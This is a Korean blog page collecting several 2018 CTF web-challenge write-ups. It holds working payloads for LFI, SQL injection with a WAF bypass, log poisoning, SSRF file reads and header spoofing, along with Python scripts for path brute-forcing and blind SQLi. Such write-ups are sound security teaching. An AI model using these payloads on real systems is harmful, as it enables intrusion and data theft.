문제에 들어가보면 아래와 같이 두개의 페이지가 존재한다. Free register 페이지에 들어가보면 page 파라미터에서 LFI가 터지는걸 확인할 수 있었다.



http://206.189.92.209/ezchallz/index.php?page=php://filter/convert.base64-encode/resource=register 요런식으로 register.php 파일 소스코들 획득한 후 확인해보면 아래와 같았다.


<html>

<?php

error_reporting(0);


function gendirandshowflag($username) {

include('secret.php');

$dname = "";

$intro = "";

$_username = md5($username, $raw_output = TRUE);

for($i = 0; $i<strlen($salt); $i++) {

$dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));

};

$dname = "users/" . bin2hex($dname);

echo 'You have successfully register as ' . $username . '!\n';

if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) {

$intro = "Here is your flag:" . $flag;

}

else {

$intro = "Here is your flag, but I'm not sure 🤔: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}";

}

mkdir($dname);

file_put_contents($dname . '/flag.php', $intro);

header("Location: ". $dname . "/flag.php");

}


if (isset($_POST['username'])) {

if ($_POST['username'] === 'admin') {

die('Username is not allowed!');

}

else {

gendirandshowflag($_POST['username']);

}

}

?>


        <form action="?page=register" method="POST">

        <input type="text" name="username"><br>

        <input type="submit" value="Register">

        </form>

</html>



코드를 분석해보면 입력한 username 값을 md5 byte처리한 값을 salt값과 xor한 뒤 hex처리한 값이 플래그가 저장되는 디렉토리가 되며 이 때 username의 md5 값이 21232f297a57a5a743894a0e4a801fc3이면 실제 flag가 존재하는 디렉토리의 flag.php에 접근이 가능해진다. 

21232f297a57a5a743894a0e4a801fc3 값을 복호화해보면 admin이라는 값이 나오는데 username으로 admin이 들어올 경우 필터링에 걸리게 된다.

즉 일반적인 방법으로는 접근이 불가하고 username이 admin일 경우 생성되는 디렉토리를 구해야 한다. 이 때 salt값이 secret.php에 정의되어있어 그냥 봤을땐 알 수가 없지만 우리는 


이 때 우리는 (내가 입력한 값) , (내가 입력한 값 xor salt) 두가지를 알 수 있기 때문에 xor 역역산을 통해 salt값을 구할 수 있다. 이렇게 salt값을 구하게 되면 성공값인 admin의 해쉬값과 salt를 xor해서 admin의 디렉토리명을 구할 수 있고 이를 통해 실제 flag.php에 접근이 가능해진다.


다음과 같이 간단히 코드를 짜서 디렉토리를 구했다.








 



'CTF > Writeup' 카테고리의 다른 글

LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같은 페이지 하나만 떡하니 존재한다. 출력된 문구를 읽어보면 base64로 인코딩된 json객체 파라미터로 뉴스를 얻어온다 뭐 대충 이런뜻인것 같았다.


 

 

일단 object라는 파라미터가 존재하나 확인해보니 에러가 터지는걸 통해 실제로 존재하는걸 볼 수 있었다.

 

 

위의 문구에서 나온대로 해당 파라미터에 {"ssr":"ssr"}과 같이 json형태의 데이터를 base64인코딩해서 요청해 보니 다음과 같은 에러가 터지는걸 통해 data라는 키값이 존재하는걸 알 수 있었다.

 

 

위에서 알아낸 data키값에 {"data":"ssr"}를 넣고 날려보니 다음과 같이 data키의 값을 통해 디비에서 뉴스를 조회해서 뿌려주는 형태인걸 알 수 있었다.

 

 

여기서 인젝션터트리면 되겠다하고 {"data","' or 1=1-- x'} 이런식으로된 데이터를 base64인코딩해서 보내니 WAF에 걸렸다는 메시지가 나오는걸 볼 수 있었다.

 

 

문제이름도 Good WAF였던걸 보아 WAF만 우회해서 데이터 뽑아내면 될거라 생각하고 우회시도를 해봤는데 base64인코딩전 json 형태의 data키의 값 영역에서는 뭔짓을해도 우회가 힘들어보였다. 여기서 데이터를 굳이 Base64인코딩해서 넘기는 이유가 뭘까 생각하다가 base64인코딩전의 원본 데이터가 아닌 base64된 데이터자체를 waf에서 bypass할 수 있는 방법이 있나하고 이것저것 찾아보다 요런 트릭을 발견했다.

 

 

가능하다만 나와있고 정확히 어떠한 원리인지는 찾지 못했는데 이건 추후에 조금더 연구를 해봐야할 것 같다. 어쨋든 이 트릭을 써서 {"data":"' or 1=1-- x"} 요런식으로된 데이터를 날려보니 WAF 필터에 안걸리고 SQLi가 터지는걸 볼 수 있었다.

 

 

여기서부터는 SQLI로 데이터를 쭉쭉 뽑아줬다.

 

Table명

{"data","23423423' union select 'a',group_concat(table_name) from information_schema.tables where table_schema=database()-- x"} -> access_logs,credentials,news

 

credentials 테이블 칼럼명

{"data","23423423' union select 'a',group_concat(column_name) from information_schema.columns where table_name='credentials'-- x"} -> id,username,password,role

 

credentials 테이블 데이터

username = valid_user , password = 5f4dcc3b5aa765d61d8327deb882cf99

 

여기까지 뽑고 md5 해쉬값을 크랙해보니 password라는 평문값이 나왔다. 이제 이걸로 뭔가 로그인관련 행위를 하면 될 것 같았고 숨겨진 로그인페이지가 존재하는지 살펴봤다. 게싱해야되나 생각했다가 위에서 뽑은 테이블명중에 log테이블이 존재하길래 쭉 데이터를 보다보니 디비에 아래와 같은 로그데이터가 저장되어있었다. 

 

 

?action=log-in이라는 url이 요청된걸 볼 수 있었고 그대로 요청해보니 다음과 같은 에러가 나타났다.

 

 

여기서 삽질을 좀 했는데 분명 아이디랑 패스워드 정보나 그외의 어떠한 유효한 데이터가 제대로 요청이 안된 것 같아서 요청 파라미터를 추측해서 id,user,password등 이것저것 넣어봤는데 안되서 아예 잘못생각하고 있나하다가 혹시하고 에러메시지에 포함된 credentials이라는 파라미터를 날려보니 아래와 같이 에러 메시지가 변경한걸 볼 수 있었다.

 

 

 

위의 에러메시지로 구글링좀 해보니 주로 Array데이터를 php에서 처리할때 발생하는 에러메시지 같았고 아래와 같이 요청해보니 에러메시지가 사라졌고 여기다 아이디,패스워드 넣어보내면 되겠구나 하고 생각해 실제로 넣어보니 플래그가 나왔다.

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Buy flags  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같이 플래그를 살 수 있는 화면이 나온다.



대충 파악해보면 ASIS Flag라는 True Flag를 사면 될 것 같았다. 현재 보유하고있는 Credit은 0원이고 쿠폰번호를 따로 입력해 사용할 수 있는 것 같았다.


일단 ASIS Flag 선택 후 Pay버튼을 눌러서 사보니 다음과 같은 메시지가 나왔다.



쿠폰값이 아무것도 없을 때 위와 같은 메시지가 떴고 임의의 쿠폰값을 입력해보면 다음과 같이 coupon값이 Base64로 인코딩되서 전송되고 있었고 응답결과 Credit 금액이 부족하다고 나오는 걸 볼 수 있었다.



여기서 생각해볼 수 있는 방법으로는 사용가능한 쿠폰을 찾아 이를 사용해 구입하는 방법, 내가 보유한 Credit금액을 flag가격인 110보다 크게 만들거나 flag가격을 0이하로 만드는 방법 3가지 정도였는데 쿠폰 번호 같은 경우 SQLi도 따로 터지지 않고 게싱으로 때려 맞추기는 좀 힘들어 보여서 일단 패스를 했다. 그리고

Credit금액을 조작하기위해서는 별다른 로그인 기능이라 이런게 없어서 기본적으로 사이트 접근시 할당받는 세션에 Oracle Padding Attack이 터지나 시도해봤지만 해당사이트 접근 시 세션값이 별다른 의미가 없어 통하지 않았다. 마지막으로 구입할 flag가격을 0원으로 만들기 위해 상품 개수를 -1 , 0 같은 값을 줘서 상품 가격*개수를 했을때 0이하가 나오게 만들어 바이패스를 하려고 하니 다음과 같이 상품개수를 체크하고 있는 걸 볼 수 있었다.



여기서 생각해 볼 수 있는 로직은 대충 아래와 같았다.


if (상품개수<=0){

print "제로";

else if (상품개수*상품가격>credit_value){

print "크레딧이 충분하지 않음";

}

else{

print "성공";

}


여기서 문제가되는게 첫번째 분기문이었는데 이것저것 테스트해보다가 NaN이 정수형이랑 비교될때 false를 리턴하는걸 통해 첫번째 분기문에서 false가 리턴되면서 상품이 구매되고 플래그가 나오는걸 볼 수 있었다.

약간 운좋게 얻어걸린감이 있었고 NaN Trick에 대해서는 좀 더 찾아봐야 할 것 같다.










 



'CTF > Writeup' 카테고리의 다른 글

Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
INS'HACK CTF 2018 Crimemail  (0) 2018.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

HITB-XCTF 2018 upload

CTF/Writeup 2018. 4. 14. 15:16

문제에 들어가보면 다음과 같이 업로드기능만 떡하니 하나 존재한다. 파일을 업로드해보면 php를 필터링하지만 pHp와 같이 대소문자를 섞어주면 우회하여 업로드가 가능하며 환경이 Windows이기때문에 대소문자 상관없이 pHp가 php확장자로 인식될 수 있다.








 업로드 하는거자체는 문제가안되는데 중요한건 경로를 알아내야한다는 것이었다. 페이지 접속시 다음과 같이 주석처리된 페이지가 존재하는데 이걸통해 경로를 찾으면 될 것 같았다. 




해당기능을 보면 요청한 파일이 존재하고 해당 파일이 정상적인 image파일이면 이미지 크기가 출력되고 아닐경우 image error가 출력되는걸 볼 수 있었다.




처음엔 여기서 command injection이 터질거라고 생각했는데 이것저것다 해봐도 통하지 않았다. 그러다 서버환경이 PHP Windows인걸 보고 예전에 언뜻 봤던 findFirstFile 트릭이 생각나서 다음과 같이 시도해봤더니 정상적으로 통하는걸 알 수 있었다.



../가 먹히고 있었기 때문에 <<랑 조합해서 상위경로의 디렉터리를 하나씩 찾으면 되겠다고 생각했고 간단하게 코드를 짜서 돌렸다. 


 import urllib2


####################### The following variables should be set for your environment. #######################
host = "47.90.97.18:9999" ## HOST IP or Address
User_Agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" ## User_Agent
strings = "abcdefghijklmnopqrstuvwxyz01234567890_"

def request(data):
data = "../"+data+"<</"+"1523684235.pHp"
url = "http://" + host + "/pic.php?filename="+data
req = urllib2.Request(url)

req.add_header('User-Agent', User_Agent)
response = urllib2.urlopen(req).read()
return response

path = ""
end = 0
while True:
for i in range(0,len(strings)):
result = request(path+strings[i])
if "width" in result:
path += strings[i]
print "Find Path[-]=" + path
break
if i == len(strings)-1:
end = 1
if end==1:
break

print "Find Path[*]=" + path


해당경로로 접근해보면 정상적으로 php파일이 접근되는걸 확인할 수 있었고 system류 함수와 scandir이 막혀있어서 file_get_contents로 다음과 같이 동일한 트릭을써서 flag파일을 읽어왔다.



익스코드가 상위 경로에 exploit_dir , exploit_dia와 같이 비슷한 이름의 디렉터리가 여러개 존재할경우에는 제대로 동작안했을 텐데 다행히 디렉터리가 하나밖에없어서 제대로 나오긴했다. 전에도 이부분까지 감안한 코드짜봐야지하고 고민하다 그냥 넘어갔었는데 이참에 확실히 정리하고 넘어가도록 해야겠다.










'CTF > Writeup' 카테고리의 다른 글

ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
INS'HACK CTF 2018 Crimemail  (0) 2018.04.08
SunshineCTF Search Box  (0) 2018.04.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.


문제들어가보면 다른기능은 전혀없고 대놓고 File inclusion 문제라고 알려준다. 몇가지 시도해본 결과 일단 RFI는 싹다 막혀있고 index.php는 필터링하고 있는것 같았다.



서버 응답값에 Ubuntu라고 알려주길래 Ubuntu apache access.log 키워드로 경로 찾아서 들어가보니 다음과 같이 정상적으로 포함시킬 수 있는걸 확인했다.



로그파일은 약 10초정도마다 리셋되고 있었고 User-agent가 log 파일내에 찍히고 있는걸 확인할 수 있었다.

User-agent에 php코드를 박아서 요청하면 정상적으로 코드가 실행되는걸 확인할 수 있었다.






여기서 cat으로 플래그파일 읽으려니까 다른파일들은 읽히는데 이놈만 이상하게 안읽어지길래 show_source로 읽어보니 플래그가 나왔다.













'CTF > Writeup' 카테고리의 다른 글

ASIS 2018 CTF Buy flags  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
INS'HACK CTF 2018 Crimemail  (0) 2018.04.08
SunshineCTF Search Box  (0) 2018.04.07
SunshineCTF Home Sweet Home  (0) 2018.04.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.


Collins Hackle is a notorious bad guy, and you've decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.


his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary


문제와 관련된 내용인데 대충보면 Hackle이라는 놈의 패스워드를 찾으면 되는데 db에 저장된 패스워드는 평문패스워드 + salt값을 md5한 값으로 저장되어 있다고 한다.


문제에 들어가보면 다음과 같이 로그인,아이디를 통해 패스워드 힌트찾기 기능이 있다.




로그인기능에선 터지는게 없고 패스워드 힌트 찾기 기능에서 SQLi가 터진다.


union으로 쭉쭉 뽑다보면 c.hackle이라는 아이디의 정보들이 나온다.




md5 해쉬화된 패스워드가 원본패스워드 + salt값이라 해서 일단 md5 복호화 사이트에서 돌려봤는데 매칭되는건 없었다. 그럼 이제 Brute forcing을 해야되는데 맨처음 문구를 보면 패스워드가 english dictionary에서 찾을 수 있다고 한다.


gibhub에서 english dictionary file을 다운받은다음 다음과 같이 파이썬코드를 짜서 돌리니 패스워드가 나왔다.



구한 패스워드로 로그인해보면 플래그가 나온다.









'CTF > Writeup' 카테고리의 다른 글

HITB-XCTF 2018 upload  (0) 2018.04.14
Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
SunshineCTF Search Box  (0) 2018.04.07
SunshineCTF Home Sweet Home  (0) 2018.04.07
SunshineCTF Evaluation  (0) 2018.04.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.


문제에 들어가보면 다음과 같이 url을 제출하라고 한다.



이것저것 넣어보니 일단 host가 www.google.com인지 확인을 하고 wrapper와 같은 경우는 별다른 필터링이 없는 것으로 보였다.


딱봐도 SSRF였고 필터링자체가 빡세게 안되어있어서 @로 간단히 우회해서 일단 내서버로 땡겨봤다.



요청은 제대로 갔는데 404가 떠서 보니 요청하는 URL 맨뒤에 /가 붙고있었다. #을써서 날려주고 접근해보니 해당페이지 출력결과가 텍스트형식으로 뿌려지는걸 볼 수 있었고 get_file_contents를 쓰고있는것 같았다.



문제에서 flag파일이 /etc/flag.txt 위치에 있고 현재 코드에서 쓰고있는 함수가 get_file_contests라 file inclusion은 불가능하고 file wrapper로 읽어오면 될 것 같았다. 근데 시도해보니 다음과 같은 이슈들이 존재했다. 일단 wraper와 @사이에 3개이상되면 아래와 같이 정상적으로 필터 우회가 안되었다.



여기서 좀 헤맸는데 생각을 조금만 바꿔보니 문제될게 없었다. 

결국 서버에서 url값을 받아서 parse_url로 파싱한 후 다시 실제로 요청할 url을 만들 때 

wrapper + host + path 요런식으로 조합할 건데 내부파일이라고해서 host 부분에만 경로를 넣을려고 할 필요없이 path부분에 넣어주고 host를 비워버리면 결국 file:// + + /etc/flag.txt#/ 요런식으로 만들어서 file:///etc/flag.txt#/ 과 같이 내가원하던데로 만들어줄 수 있을 것 같았다. 실제로 해보니 잘되었고 플래그를 얻을 수 있었다.



 















'CTF > Writeup' 카테고리의 다른 글

Byte Bandits CTF R3M3MB3R  (0) 2018.04.08
INS'HACK CTF 2018 Crimemail  (0) 2018.04.08
SunshineCTF Home Sweet Home  (0) 2018.04.07
SunshineCTF Evaluation  (0) 2018.04.07
N1CTF 2018 77777 2  (0) 2018.03.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.



문제에 들어가보면 위와 같이 아이피 인증이 안되었다고 뜬다.


문제설명을 보면 That's very FORWARD thinking of them. 요런 문구가 있었는데 이를 통해 서버와 클라이언트 사이에 캐시용도의 프록시 서버가 존재하는 상황이거나 가정이라고 생각했고 바로 헤더조작해서 로컬IP입력하고 인증했다.



'CTF > Writeup' 카테고리의 다른 글

INS'HACK CTF 2018 Crimemail  (0) 2018.04.08
SunshineCTF Search Box  (0) 2018.04.07
SunshineCTF Evaluation  (0) 2018.04.07
N1CTF 2018 77777 2  (0) 2018.03.13
N1CTF 2018 funning eating cms  (0) 2018.03.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.


코드를 보면 입력값이 eval내부에 동적으로 들어가고 있다.


구문 맞춰서 명령어 2개 실행되도록 해주면 된다.


명령어실행을 해보면 system,exec,include 등의 함수들이 동작하지 않아 코드상에서 쓰고있는 show_source로 flag파일을 읽어왔다.  



'CTF > Writeup' 카테고리의 다른 글

SunshineCTF Search Box  (0) 2018.04.07
SunshineCTF Home Sweet Home  (0) 2018.04.07
N1CTF 2018 77777 2  (0) 2018.03.13
N1CTF 2018 funning eating cms  (0) 2018.03.12
N1CTF 2018 77777  (0) 2018.03.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

N1CTF 2018 77777 2

CTF/Writeup 2018. 3. 13. 01:31

77777 이라는 이전 문제와 같은 유형인데 필터링이 좀더 빡세져있다.

 

 

 

이전 익스플로잇을 비슷하게 써주면 되는데 추가된 필터링 중 숫자 2~9 중 특정 몇개 숫자를 필터링하고 있어서 1+1+1+1+1+1+1+1+1 이런식으로 숫자늘려서 사용했다. 그리고 flag인 admin password 컬럼이 (pw)

요런식으로 컬럼명 앞뒤에 문자가 있으면 필터링되고있어서 공백줘서 ( pw ) 요런식으로 우회해줬다.

페이로드는 다음과 같다.

 

import urllib2

def request(data):
url = "http://47.52.137.90:20000"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()

if "1001" in str(response):
return True
else:
return False

length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(length( pw ),1"+"+1"*i+"),0,1000)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i+1)
length = i+1
break

password = ""
strings = "abcdefghijklmnopqrstuvxzyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"
for i in range(0,length):
for j in range(0,len(strings)):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(substr( pw ,1" + "+1"*i + ",1),'" + strings[j] + "'),0,1000)")
if request(payload)==True:
password += strings[j]
break

print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"

 

[*]Find Admin Length = 22
[*]Find Admin Password = hahah777a7aha77777aaaa
[*]Find flag= N1CTF{hahah777a7aha77777aaaa}

 

'CTF > Writeup' 카테고리의 다른 글

SunshineCTF Home Sweet Home  (0) 2018.04.07
SunshineCTF Evaluation  (0) 2018.04.07
N1CTF 2018 funning eating cms  (0) 2018.03.12
N1CTF 2018 77777  (0) 2018.03.12
Truststealth CTF 2018 Custom Storage (DelspoN) 500  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,